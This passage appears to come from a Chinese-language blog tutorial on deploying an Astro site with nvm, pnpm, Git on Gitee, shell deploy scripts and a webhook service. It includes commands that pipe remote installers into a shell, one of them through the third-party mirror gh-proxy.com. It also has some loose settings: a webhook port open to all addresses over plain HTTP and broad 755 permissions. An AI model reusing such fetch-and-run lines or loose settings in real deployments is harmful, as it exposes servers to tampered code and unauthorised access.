blogdeploy bash \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 26# 加载 nvm 27export NVM_DIR=\u0026#34;$HOME/.nvm\u0026#34; 28[ -s \u0026#34;$NVM_DIR/nvm.sh\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/nvm.sh\u0026#34; 29 30# 确保使用正确的 Node.js 版本 31nvm use --lts 32 33# 卸载可能存在的问题 pnpm 安装 34npm uninstall -g pnpm 2\u0026gt;/dev/null || true 35 36# 清除 npm 缓存 37npm cache clean --force 38 39# 使用正确方法安装 pnpm 40npm install -g pnpm --prefix=/home/blogdeploy/.npm-packages 41 42# 创建 pnpm 专用配置 43mkdir -p ~/.pnpm 44cat \u0026gt; ~/.pnpm/config.json \u0026lt;\u0026lt; \u0026#39;PNPM_CONFIG\u0026#39; 45{ 46 \u0026#34;store-dir\u0026#34;: \u0026#34;/home/blogdeploy/.pnpm-store\u0026#34;, 47 \u0026#34;global-dir\u0026#34;: \u0026#34;/home/blogdeploy/.npm-packages/lib/node_modules\u0026#34; 48} 49PNPM_CONFIG 50 51# 设置 PATH（不修改 .bashrc，使用环境变量） 52export PATH=\u0026#34;/home/blogdeploy/.npm-packages/bin:$PATH\u0026#34; 53 54# 验证安装 55echo \u0026#34;pnpm 版本:\u0026#34; 56pnpm --version 2\u0026gt;/dev/null || echo \u0026#34;pnpm 未正确安装\u0026#34; 57 58echo \u0026#34;pnpm 存储路径:\u0026#34; 59pnpm store path 2\u0026gt;/dev/null || echo \u0026#34;无法获取存储路径\u0026#34; 60EOF 61 62# 5. 创建安全的部署环境配置 63echo \u0026#34;创建部署环境配置...\u0026#34; 64sudo -u blogdeploy bash \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 65# 创建部署脚本使用的环境文件 66cat \u0026gt; ~/.blogdeploy.env \u0026lt;\u0026lt; \u0026#39;DEPLOY_ENV\u0026#39; 67export NVM_DIR=\u0026#34;/home/blogdeploy/.nvm\u0026#34; 68[ -s \u0026#34;$NVM_DIR/nvm.sh\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/nvm.sh\u0026#34; 69export PATH=\u0026#34;/home/blogdeploy/.npm-packages/bin:$PATH\u0026#34; 70DEPLOY_ENV 71 72echo \u0026#34;已创建部署环境配置文件\u0026#34; 73EOF 74 75echo \u0026#34;=== 环境验证 ===\u0026#34; 76 77sudo -u blogdeploy bash \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 78echo \u0026#34;1. 用户: \\\u0026#34;$USER 79echo \u0026#34;2. 家目录: \\\u0026#34;$HOME 80echo \u0026#34;\u0026#34; 81 82echo \u0026#34;3. Node.js 版本:\u0026#34; 83node --version 2\u0026gt;/dev/null || echo \u0026#34;未安装\u0026#34; 84echo \u0026#34;\u0026#34; 85 86echo \u0026#34;4. npm 版本:\u0026#34; 87npm --version 2\u0026gt;/dev/null || echo \u0026#34;未安装\u0026#34; 88echo \u0026#34;\u0026#34; 89 90echo \u0026#34;5. pnpm 版本:\u0026#34; 91pnpm --version 2\u0026gt;/dev/null || echo \u0026#34;未安装\u0026#34; 92echo \u0026#34;\u0026#34; 93 94echo \u0026#34;6. pnpm 存储路径:\u0026#34; 95pnpm store path 2\u0026gt;/dev/null || echo \u0026#34;无法获取\u0026#34; 96echo \u0026#34;\u0026#34; 97 98echo \u0026#34;7. 当前 PATH:\u0026#34; 99echo \\$PATH 100EOF 如果遇到安装错误\n1# 检查用户当前的主目录 2sudo grep blogdeploy /etc/passwd 3 4# 如果显示 /nonexistent，需要修改 5sudo usermod -d /home/blogdeploy blogdeploy 6 7# 创建主目录 8sudo mkdir -p /home/blogdeploy 9sudo chown -R blogdeploy:blogdeploy /home/blogdeploy 10 11# 重新尝试安装 12sudo -u blogdeploy bash -c \u0026#34;curl -o- https://gh-proxy.com/https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash\u0026#34; 解决方案： 方案一：永久配置环境变量 # 1. 以 root 用户为 blogdeploy 配置环境 cat \u0026gt;\u0026gt; /home/blogdeploy/.bashrc \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # nvm 配置 export NVM_DIR=\u0026#34;$HOME/.nvm\u0026#34; [ -s \u0026#34;$NVM_DIR/nvm.sh\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/nvm.sh\u0026#34; [ -s \u0026#34;$NVM_DIR/bash_completion\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/bash_completion\u0026#34; # pnpm 配置 export PNPM_HOME=\u0026#34;$HOME/.local/share/pnpm\u0026#34; export PATH=\u0026#34;$PNPM_HOME:$PATH\u0026#34; # 自定义 npm 全局包路径 export PATH=\u0026#34;$HOME/.npm-packages/bin:$PATH\u0026#34; EOF # 2. 同样添加到 .profile cat \u0026gt;\u0026gt; /home/blogdeploy/.profile \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # nvm 配置 export NVM_DIR=\u0026#34;$HOME/.nvm\u0026#34; [ -s \u0026#34;$NVM_DIR/nvm.sh\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/nvm.sh\u0026#34; # pnpm 配置 export PNPM_HOME=\u0026#34;$HOME/.local/share/pnpm\u0026#34; case \u0026#34;:$PATH:\u0026#34; in *\u0026#34;:$PNPM_HOME:\u0026#34;*) ;; *) export PATH=\u0026#34;$PNPM_HOME:$PATH\u0026#34; ;; esac EOF # 3. 设置权限 chown blogdeploy:blogdeploy /home/blogdeploy/.bashrc /home/blogdeploy/.profile 方案二：安装 pnpm 到正确位置 1# 1. 切换到 blogdeploy 用户配置 2sudo -u blogdeploy bash \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 3# 加载 nvm 4export NVM_DIR=\u0026#34;$HOME/.nvm\u0026#34; 5[ -s \u0026#34;$NVM_DIR/nvm.sh\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/nvm.sh\u0026#34; 6 7# 安装 pnpm（使用 npm 安装到全局） 8npm install -g pnpm 9 10# 验证 pnpm 安装 11pnpm --version 12 13# 配置 pnpm 存储路径 14pnpm config set store-dir ~/.pnpm-store 15EOF 16 17# 2. 现在应该可以正常使用了 18sudo -u blogdeploy bash -c \u0026#34;source ~/.bashrc \u0026amp;\u0026amp; cd /var/www/astro-blog \u0026amp;\u0026amp; pnpm build\u0026#34; 第5步：测试完整部署流程 1# 以 blogdeploy 用户身份测试部署 2sudo -u blogdeploy bash -c \u0026#34;cd /var/www/astro-blog \u0026amp;\u0026amp; git pull origin astro-blog \u0026amp;\u0026amp; pnpm install \u0026amp;\u0026amp; pnpm build\u0026#34; 3 4cd /var/www/astro-blog 5sudo -u blogdeploy git remote set-url origin https://gitee.com/xxx/my-blog.git 6sudo -u blogdeploy git pull origin astro-blog 7 8# 检查是否成功 9ls -la /var/www/astro-blog/dist 第6步：验证权限 1# 检查关键目录权限 2ls -la /var/www/astro-blog 3# 应该显示 blogdeploy blogdeploy 4 5ls -la /var/www/astro-blog/dist 6# 应该显示 blogdeploy www-data 或 www-data www-data 7 8# 检查 Nginx 能否读取 9sudo -u www-data cat /var/www/astro-blog/dist/index.html 10# 应该能正常显示内容 常见问题排查 如果遇到权限错误 1# 重新设置权限 2sudo chown -R blogdeploy:blogdeploy /var/www/astro-blog 3sudo chown -R blogdeploy:www-data /var/www/astro-blog/dist 4sudo chmod -R 755 /var/www/astro-blog 如果 Git 报错 1# 设置 Git 安全目录 2sudo -u blogdeploy git config --global --add safe.directory /var/www/astro-blog 如果 pnpm 找不到 1# 检查 pnpm 路径 2which pnpm 3 4# 如果在 /root/.local/share/pnpm，需要创建链接或重装 8. 切换git分支迁移 1. 初始化并关联远程仓库 1cd /var/www/astro-blog 2 3# 如果还没初始化 git 4git init 5 6# 添加 Gitee 远程仓库 7git remote add origin https://xxxx.git 8 9# 查看远程仓库 10git remote -v 2. 创建新分支（推荐叫 astro） 1# 创建并切换到新分支 2git checkout -b astro 3. 添加 .gitignore 创建 .gitignore 文件，避免提交不必要的文件：\n1nano .gitignore 粘贴以下内容：\n# 依赖 node_modules/ .pnpm-store/ # 构建产物 dist/ .astro/ # 环境变量 .env .env.local .env.production # 日志 npm-debug.log* pnpm-debug.log* yarn-debug.log* yarn-error.log* # 操作系统 .DS_Store Thumbs.db # 编辑器 .vscode/ .idea/ *.swp *.swo *~ # 临时文件 *.log .cache/ 4. 提交代码 1# 添加所有文件 2git add . 3 4# 查看状态 5git status 6 7# 提交 8git commit -m \u0026#34;feat: 迁移到 Astro 博客框架 9 10- 使用 vhAstro-Theme 主题 11- 配置网站信息和备案 12- 添加 TOC 目录功能 13- 迁移所有文章内容\u0026#34; 5. 推送到 Gitee 1# 首次推送（会创建远程分支） 2git push -u origin astro 3 4# 如果需要输入用户名密码，使用 Gitee 账号 6. 如果推送失败（需要先拉取） 1# 拉取远程仓库 2git pull origin master --allow-unrelated-histories 3 4# 然后再推送 5git push -u origin astro 后续更新流程 以后更新博客：\n1# 添加修改 2git add . 3 4# 提交 5git commit -m \u0026#34;update: 更新内容描述\u0026#34; 6 7# 推送 8git push 如果想保留 Hexo 分支 1# 查看所有分支 2git branch -a 3 4# master 分支保留 Hexo 内容 5# astro 分支是新的 Astro 博客 配置 Git 用户信息（如果还没配置） 1git config --global user.name \u0026#34;你的名字\u0026#34; 2git config --global user.email \u0026#34;your-email@example.com\u0026#34; 常见问题 如果提示认证失败 Gitee 可能需要使用个人访问令牌：\n访问：https://gitee.com/profile/personal_access_tokens 生成新令牌 使用令牌作为密码 或者配置 SSH：\n1# 生成 SSH 密钥 2ssh-keygen -t rsa -C \u0026#34;your-email@example.com\u0026#34; 3 4# 查看公钥 5cat ~/.ssh/id_rsa.pub 6 7# 复制公钥，添加到 Gitee SSH 设置 然后改用 SSH 地址：\n1git remote set-url origin git@gitee.com:xxx.git 验证步骤 执行每步后检查：\n1# 1. 查看当前分支 2git branch 3 4# 2. 查看远程仓库 5git remote -v 6 7# 3. 查看提交历史 8git log --oneline 9 10# 4. 查看状态 11git status 9. 使用 Git 自动化部署（推荐） 完美！✅ 现在继续配置 Webhook。\n第1步：安装 webhook 工具 1sudo apt update 2sudo apt install webhook -y 3 4# 验证安装 5webhook --version 第2步：生成强密钥 1# 生成一个强密钥用于 Webhook 验证 2openssl rand -hex 32 3 4# 记下这个密钥，例如： 5# a8f5e2c9d3b7f1e4a6c8d9e2f3a1b5c7d4e6f8a1b2c3d4e5f6a7b8c9d0e1f2a3 把生成的密钥保存好，待会要用。\n第3步：创建部署脚本 1# 创建脚本目录 2sudo mkdir -p /var/www/deploy-scripts 3 4# 创建部署脚本 5sudo vim /var/www/deploy-scripts/deploy-blog.sh 粘贴以下内容：\n1#!/bin/bash 2 3# 日志文件 4LOG_FILE=\u0026#34;/var/log/astro-blog-deploy.log\u0026#34; 5REPO_DIR=\u0026#34;/var/www/astro-blog\u0026#34; 6 7# 记录开始 8echo \u0026#34;========================================\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 9echo \u0026#34;部署开始: $(date)\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 10echo \u0026#34;触发者: Gitee Webhook\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 11 12# 切换到项目目录 13cd $REPO_DIR || { 14 echo \u0026#34;ERROR: 无法进入项目目录\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 15 exit 1 16} 17 18# 验证 Git 仓库完整性 19echo \u0026#34;验证仓库完整性...\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 20if ! git fsck --no-progress \u0026gt;\u0026gt; $LOG_FILE 2\u0026gt;\u0026amp;1; then 21 echo \u0026#34;ERROR: Git 仓库损坏，终止部署\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 22 exit 1 23fi 24 25# 拉取代码 26echo \u0026#34;拉取代码...\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 27git fetch origin astro-blog \u0026gt;\u0026gt; $LOG_FILE 2\u0026gt;\u0026amp;1 28git reset --hard origin/astro-blog \u0026gt;\u0026gt; $LOG_FILE 2\u0026gt;\u0026amp;1 29 30# 清理旧依赖 31echo \u0026#34;清理依赖...\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 32rm -rf node_modules \u0026gt;\u0026gt; $LOG_FILE 2\u0026gt;\u0026amp;1 33 34# 安装依赖 35echo \u0026#34;安装依赖...\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 36pnpm install --frozen-lockfile \u0026gt;\u0026gt; $LOG_FILE 2\u0026gt;\u0026amp;1 37 38# 审计依赖漏洞 39echo \u0026#34;审计依赖...\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 40pnpm audit --audit-level=high \u0026gt;\u0026gt; $LOG_FILE 2\u0026gt;\u0026amp;1 || { 41 echo \u0026#34;WARNING: 发现高危漏洞\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 42} 43 44# 构建 45echo \u0026#34;构建项目...\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 46pnpm build \u0026gt;\u0026gt; $LOG_FILE 2\u0026gt;\u0026amp;1 47 48# 验证构建产物 49if [ ! -d \u0026#34;dist\u0026#34; ]; then 50 echo \u0026#34;ERROR: 构建失败，dist目录不存在\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 51 exit 1 52fi 53 54# 设置正确的权限 55# chown -R blogdeploy:www-data dist/ 56# chmod -R 755 dist/ 57 58echo \u0026#34;部署成功: $(date)\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 59echo \u0026#34;========================================\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 保存后设置权限：\n1# 给脚本执行权限 2sudo chmod +x /var/www/deploy-scripts/deploy-blog.sh 3 4# 设置所有者为 blogdeploy 5sudo chown blogdeploy:blogdeploy /var/www/deploy-scripts/deploy-blog.sh 6 7# 创建日志文件 8sudo touch /var/log/astro-blog-deploy.log 9sudo chown blogdeploy:blogdeploy /var/log/astro-blog-deploy.log 第4步：测试部署脚本 1# 以 blogdeploy 用户身份测试脚本 2sudo -u blogdeploy /var/www/deploy-scripts/deploy-blog.sh 3 4# 查看日志 5tail -30 /var/log/astro-blog-deploy.log 如果成功，会看到 \u0026ldquo;部署成功\u0026rdquo; 的消息。\n如果解决构建错误 （Astro 想访问 /nonexistent/.config，但 blogdeploy 没有家目录）。\n1# 给 blogdeploy 创建配置目录 2sudo mkdir -p /home/blogdeploy/.config 3sudo chown -R blogdeploy:blogdeploy /home/blogdeploy 4sudo usermod -d /home/blogdeploy blogdeploy 5 6# 或者禁用 Astro 遥测 7cd /var/www/astro-blog 8sudo -u blogdeploy npx astro telemetry disable 9 10# 再次测试部署 11sudo -u blogdeploy /var/www/deploy-scripts/deploy-blog.sh 测试成功后继续！\n为 blogdeploy 用户安装独立的 pnpm：\nbash\n1# 1. 为 blogdeploy 创建 home 目录（如果还没有） 2sudo mkdir -p /home/blogdeploy 3sudo chown blogdeploy:blogdeploy /home/blogdeploy 4 5# 2. 切换到 blogdeploy 用户并安装 pnpm 6sudo -u blogdeploy bash \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 7cd ~ 8curl -fsSL https://get.pnpm.io/install.sh | sh - 9source ~/.bashrc 10pnpm --version 11EOF 12 13# 3. 验证 pnpm 可用 14sudo -u blogdeploy bash -c \u0026#39;export PNPM_HOME=\u0026#34;/home/blogdeploy/.local/share/pnpm\u0026#34;; export PATH=\u0026#34;$PNPM_HOME:$PATH\u0026#34;; pnpm --version\u0026#39; 15 16# 4. 更新部署脚本（使用上面方案2的脚本内容） 17 18# 5. 修复 Git 警告 19sudo chown -R blogdeploy:blogdeploy /home/blogdeploy/.config 20 21# 6. 测试脚本 22sudo -u blogdeploy /var/www/deploy-scripts/deploy-blog-fast.sh 23 24# 7. 查看日志 25tail -30 /var/log/astro-blog-deploy.log 26 27# 8. 重启 webhook 服务 28sudo systemctl restart webhook 执行完这些步骤后，再推送一次代码测试。这次应该就能成功构建了！🚀\n优化脚本（跳过依赖安装） 创建一个快速部署脚本：\n1sudo vim /var/www/deploy-scripts/deploy-blog-fast.sh 1#!/bin/bash 2 3# 设置完整的环境变量 4export HOME=/home/blogdeploy 5export NVM_DIR=\u0026#34;$HOME/.nvm\u0026#34; 6export PATH=\u0026#34;$HOME/.npm-global/bin:$PATH\u0026#34; 7 8# 加载 nvm 环境 9[ -s \u0026#34;$NVM_DIR/nvm.sh\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/nvm.sh\u0026#34; 10 11# 日志文件 12LOG_FILE=\u0026#34;/var/log/astro-blog-deploy.log\u0026#34; 13REPO_DIR=\u0026#34;/var/www/astro-blog\u0026#34; 14 15# 记录开始 16{ 17echo \u0026#34;========================================\u0026#34; 18echo \u0026#34;快速部署开始: $(date)\u0026#34; 19echo \u0026#34;用户: $(whoami)\u0026#34; 20echo \u0026#34;HOME: $HOME\u0026#34; 21echo \u0026#34;PATH: $PATH\u0026#34; 22echo \u0026#34;NVM_DIR: $NVM_DIR\u0026#34; 23echo \u0026#34;Node版本: $(node --version 2\u0026gt;\u0026amp;1)\u0026#34; 24echo \u0026#34;npm版本: $(npm --version 2\u0026gt;\u0026amp;1)\u0026#34; 25echo \u0026#34;PNPM位置: $(which pnpm 2\u0026gt;\u0026amp;1)\u0026#34; 26echo \u0026#34;PNPM版本: $(pnpm --version 2\u0026gt;\u0026amp;1)\u0026#34; 27} \u0026gt;\u0026gt; $LOG_FILE 2\u0026gt;\u0026amp;1 28 29# 切换到项目目录 30cd $REPO_DIR || { 31 echo \u0026#34;ERROR: 无法进入项目目录 $REPO_DIR\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 32 exit 1 33} 34 35# 拉取代码 36echo \u0026#34;拉取代码...\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 37git fetch origin astro-blog \u0026gt;\u0026gt; $LOG_FILE 2\u0026gt;\u0026amp;1 38 39# 检查是否有更新 40LOCAL=$(git rev-parse HEAD 2\u0026gt;/dev/null) 41REMOTE=$(git rev-parse origin/astro-blog 2\u0026gt;/dev/null) 42 43if [ \u0026#34;$LOCAL\u0026#34; = \u0026#34;$REMOTE\u0026#34; ] \u0026amp;\u0026amp; [ -n \u0026#34;$LOCAL\u0026#34; ]; then 44 echo \u0026#34;没有更新，跳过部署\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 45 exit 0 46fi 47 48git reset --hard origin/astro-blog \u0026gt;\u0026gt; $LOG_FILE 2\u0026gt;\u0026amp;1 49 50# 清理旧的构建文件 51echo \u0026#34;清理旧构建...\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 52rm -rf dist \u0026gt;\u0026gt; $LOG_FILE 2\u0026gt;\u0026amp;1 53 54echo \u0026#34;构建项目...\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 55pnpm run build 2\u0026gt;\u0026amp;1 | tee -a $LOG_FILE 56 57# 验证构建产物 58if [ ! -d \u0026#34;dist\u0026#34; ]; then 59 echo \u0026#34;ERROR: 构建失败，dist 目录未生成\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 60 echo \u0026#34;尝试使用完整构建命令...\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 61 # 尝试使用 npx 62 npx astro build 2\u0026gt;\u0026amp;1 | tee -a $LOG_FILE 63fi 64 65# 再次验证 66if [ ! -d \u0026#34;dist\u0026#34; ]; then 67 echo \u0026#34;ERROR: 构建失败\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 68 exit 1 69fi 70 71echo \u0026#34;构建成功!\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 72echo \u0026#34;构建文件:\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 73ls -la dist/ 2\u0026gt;\u0026amp;1 | head -10 \u0026gt;\u0026gt; $LOG_FILE 74 75echo \u0026#34;快速部署成功: $(date)\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 76echo \u0026#34;========================================\u0026#34; \u0026gt;\u0026gt; $LOG_FILE 设置权限：\n1sudo chmod +x /var/www/deploy-scripts/deploy-blog-fast.sh 2sudo chown blogdeploy:blogdeploy /var/www/deploy-scripts/deploy-blog-fast.sh 第5步：配置 Webhook 这里用的gitee的hook，每个代码仓库的hook规则可能不一样，需要翻看文档\n1# 创建 webhook 配置文件 2sudo vim /etc/webhook.conf 粘贴（记得把密钥改成你自己的）：\n1[ 2 { 3 \u0026#34;id\u0026#34;: \u0026#34;deploy-blog\u0026#34;, 4 \u0026#34;execute-command\u0026#34;: \u0026#34;/var/www/deploy-scripts/deploy-blog-fast.sh\u0026#34;, 5 \u0026#34;command-working-directory\u0026#34;: \u0026#34;/var/www/astro-blog\u0026#34;, 6 \u0026#34;response-message\u0026#34;: \u0026#34;正在部署博客，请稍候...\u0026#34;, 7 \u0026#34;trigger-rule\u0026#34;: { 8 \u0026#34;and\u0026#34;: [ 9 { 10 \u0026#34;match\u0026#34;: { 11 \u0026#34;type\u0026#34;: \u0026#34;value\u0026#34;, 12 \u0026#34;value\u0026#34;: \u0026#34;你的密码\u0026#34;, 13 \u0026#34;parameter\u0026#34;: { 14 \u0026#34;source\u0026#34;: \u0026#34;header\u0026#34;, 15 \u0026#34;name\u0026#34;: \u0026#34;X-Gitee-Token\u0026#34; 16 } 17 } 18 }, 19 { 20 \u0026#34;match\u0026#34;: { 21 \u0026#34;type\u0026#34;: \u0026#34;value\u0026#34;, 22 \u0026#34;value\u0026#34;: \u0026#34;refs/heads/astro-blog\u0026#34;, 23 \u0026#34;parameter\u0026#34;: { 24 \u0026#34;source\u0026#34;: \u0026#34;payload\u0026#34;, 25 \u0026#34;name\u0026#34;: \u0026#34;ref\u0026#34; 26 } 27 } 28 } 29 ] 30 } 31 } 32] 第6步：创建 Webhook systemd 服务 1sudo vim /etc/systemd/system/webhook.service 使用全局安装就不需要指定变量了\n1[Unit] 2Description=Webhook Service for Blog Auto Deploy 3After=network.target 4 5[Service] 6Type=simple 7User=blogdeploy 8Group=blogdeploy 9Environment=\u0026#34;HOME=/home/blogdeploy\u0026#34; 10ExecStart=/usr/bin/webhook -hooks /etc/webhook.conf -verbose -port 9000 11Restart=always 12RestartSec=10 13 14# 安全限制 15NoNewPrivileges=true 16PrivateTmp=true 17ProtectSystem=strict 18ProtectHome=true 19ReadWritePaths=/var/www/astro-blog /var/log /home/blogdeploy 20 21[Install] 22WantedBy=multi-user.target 第7步：启动 Webhook 服务 1# 重载 systemd 2sudo systemctl daemon-reload 3 4# 启动服务 5sudo systemctl start webhook 6 7# 设置开机自启 8sudo systemctl enable webhook 9 10# 查看状态 11sudo systemctl status webhook 12 13# 查看日志 14sudo journalctl -u webhook -f 应该看到类似：\n● webhook.service - Webhook Service for Blog Auto Deploy Loaded: loaded Active: active (running) 继续下一步！🚀\n修改 Webhook 配置使用快速脚本 1sudo vim /etc/webhook.conf 把 \u0026quot;execute-command\u0026quot; 改为：\n1{ 2 \u0026#34;id\u0026#34;: \u0026#34;deploy-blog\u0026#34;, 3 \u0026#34;execute-command\u0026#34;: \u0026#34;/var/www/deploy-scripts/deploy-blog-fast.sh\u0026#34;, 4 ... 5} 重启 Webhook 服务 1sudo systemctl restart webhook 2sudo systemctl status webhook 现在有两个脚本 快速部署（只更新文章时用）：deploy-blog-fast.sh - 只拉代码 + 构建 完整部署（更新依赖时用）：deploy-blog.sh - 重装依赖 + 构建 Webhook 用快速的，手动完整部署时：\n1sudo -u blogdeploy /var/www/deploy-scripts/deploy-blog.sh 测试快速脚本 1sudo -u blogdeploy /var/www/deploy-scripts/deploy-blog-fast.sh 2tail -20 /var/log/astro-blog-deploy.log 应该几十秒就完成了！继续配置 Gitee Webhook 吧？🚀\n关于 Git 警告 顺便修复 Git 的权限警告：\n1# 创建配置目录 2sudo mkdir -p /home/blogdeploy/.config/git 3 4# 创建空文件 5sudo touch /home/blogdeploy/.config/git/ignore 6sudo touch /home/blogdeploy/.config/git/attributes 7 8# 设置权限 9sudo chown -R blogdeploy:blogdeploy /home/blogdeploy/.config 10sudo chmod -R 755 /home/blogdeploy/.config 11# 确保目录存在并有正确权限 12sudo mkdir -p /home/blogdeploy/.config/git 13sudo touch /home/blogdeploy/.config/git/ignore 14sudo touch /home/blogdeploy/.config/git/attributes 15sudo chown -R blogdeploy:blogdeploy /home/blogdeploy 16sudo chmod -R 755 /home/blogdeploy 配置 Gitee Webhook 在服务器安全组开放端口 登录你的服务器控制台（阿里云/腾讯云等）：\n找到\u0026quot;安全组规则\u0026quot; 添加入站规则： 端口：9000 协议：TCP 来源：0.0.0.0/0（或只允许 Gitee IP） 第1步：访问 Gitee Webhook 设置 打开浏览器，访问：\nhttps://gitee.com/bugatti100Peagle/my-blog/hooks 第2步：添加 WebHook 点击页面上的 \u0026ldquo;添加 WebHook\u0026rdquo; 或 \u0026ldquo;管理 WebHook\u0026rdquo; → \u0026ldquo;添加\u0026rdquo;\n第3步：填写配置 填写以下信息：\nhttp://你的服务器IP:9000/hooks/deploy-blog 例如：http://123.45.67.89:9000/hooks/deploy-blog\n密码令牌 粘贴你之前生成的密钥（openssl rand -hex 32 那个）\n如果忘了，重新生成一个：\n1openssl rand -hex 32 就是/etc/webhook.conf 里的 secret 值\n事件选择 ✅ 勾选 Push ⬜ 其他不勾选 其他选项 SSL 验证：关闭（因为用的是 HTTP） 激活 WebHook：✅ 勾选 第4步：保存并测试 点击 \u0026ldquo;添加\u0026rdquo; 或 \u0026ldquo;确定\u0026rdquo;\n然后点击刚创建的 Webhook 右侧的 \u0026ldquo;测试\u0026rdquo; 按钮\n验证是否成功 方法1：查看 Gitee 界面 测试后，Gitee 会显示：\n✅ 成功：状态码 200，响应 \u0026ldquo;正在部署博客，请稍候\u0026hellip;\u0026rdquo; ❌ 失败：显示错误信息 方法2：查看服务器日志 1# 查看 webhook 日志 2sudo journalctl -u webhook -f 3 4# 查看部署日志 5tail -f /var/log/astro-blog-deploy.log 如果成功，你会看到类似：\n[webhook] 2025/12/13 xx:xx:xx [deploy-blog] 200 | deploy-blog got matched [webhook] 2025/12/13 xx:xx:xx [deploy-blog] executing /var/www/deploy-scripts/deploy-blog-fast.sh 第5步：真实测试 在本地修改一篇文章，然后：\n1git add . 2git commit -m \u0026#34;test: 测试自动部署\u0026#34; 3git push origin astro-blog 然后：\n观察服务器日志：tail -f /var/log/astro-blog-deploy.log 应该会自动开始部署 完成后访问你的网站验证更新 常见问题 如果 Gitee 提示连接失败 1# 确认 webhook 服务正在运行 2sudo systemctl status webhook 3 4# 确认端口开放 5sudo netstat -tlnp | grep 9000 6 7# 测试本地访问 8curl http://localhost:9000/hooks/deploy-blog 9 10curl -X POST http://localhost:9000/hooks/deploy-blog \\ 11 -H \u0026#34;X-Gitee-Token: 你的密码\u0026#34; \\ 12 -H \u0026#34;Content-Type: application/json\u0026#34; \\ 13 -d \u0026#39;{\u0026#34;ref\u0026#34;: \u0026#34;refs/heads/master\u0026#34;}\u0026#39; 如果 Gitee 提示 403 或验证失败 检查密钥是否一致：\n1# 查看配置文件中的密钥 2sudo cat /etc/webhook.conf | grep secret 确保和 Gitee 填的一样。\n私钥权限 私钥权限太宽松了，SSH 拒绝使用。修复一下：\n1sudo chmod 600 /home/blogdeploy/.ssh/id_rsa 2sudo chmod 644 /home/blogdeploy/.ssh/id_rsa.pub 3sudo chmod 700 /home/blogdeploy/.ssh 4sudo chown -R blogdeploy:blogdeploy /home/blogdeploy/.ssh 然后再 push 测试。\n修复 dist 目录权限 1# 1. 确保 blogdeploy 对整个项目目录有写权限 2sudo chown -R blogdeploy:blogdeploy /var/www/astro-blog 3 4# 2. 特别是 dist 目录 5sudo rm -rf /var/www/astro-blog/dist 6sudo mkdir -p /var/www/astro-blog/dist 7sudo chown -R blogdeploy:blogdeploy /var/www/astro-blog/dist 8 9# 3. 确保 node_modules 也有正确权限 10sudo chown -R blogdeploy:blogdeploy /var/www/astro-blog/node_modules 11 12# 4. 测试构建 13sudo -u blogdeploy bash /var/www/deploy-scripts/deploy-blog-fast.sh 14 15# 5. 查看日志 16tail -50 /var/log/astro-blog-deploy.log 安全增强（可选） 如果还想更安全，可以加上 IP 白名单：\n1{ 2 \u0026#34;trigger-rule\u0026#34;: { 3 \u0026#34;and\u0026#34;: [ 4 { 5 \u0026#34;match\u0026#34;: { 6 \u0026#34;type\u0026#34;: \u0026#34;value\u0026#34;, 7 \u0026#34;value\u0026#34;: \u0026#34;你的密码\u0026#34;, 8 \u0026#34;parameter\u0026#34;: { 9 \u0026#34;source\u0026#34;: \u0026#34;header\u0026#34;, 10 \u0026#34;name\u0026#34;: \u0026#34;X-Gitee-Token\u0026#34; 11 } 12 } 13 }, 14 { 15 \u0026#34;match\u0026#34;: { 16 \u0026#34;type\u0026#34;: \u0026#34;value\u0026#34;, 17 \u0026#34;value\u0026#34;: \u0026#34;refs/heads/astro-blog\u0026#34;, 18 \u0026#34;parameter\u0026#34;: { 19 \u0026#34;source\u0026#34;: \u0026#34;payload\u0026#34;, 20 \u0026#34;name\u0026#34;: \u0026#34;ref\u0026#34; 21 } 22 } 23 }, 24 { 25 \u0026#34;match\u0026#34;: { 26 \u0026#34;type\u0026#34;: \u0026#34;ip-whitelist\u0026#34;, 27 \u0026#34;ip-range\u0026#34;: \u0026#34;180.97.0.0/16,116.211.0.0/16\u0026#34; 28 } 29 } 30 ] 31 } 32} 10. 监控和维护 查看 Nginx 日志 # 实时查看访问日志 sudo tail -f /var/log/nginx/access.log # 查看错误日志 sudo tail -f /var/log/nginx/error.log 创建服务状态检查脚本 #!/bin/bash # check-status.sh echo \u0026#34;=== 系统状态检查 ===\u0026#34; echo \u0026#34;Nginx 状态:\u0026#34; sudo 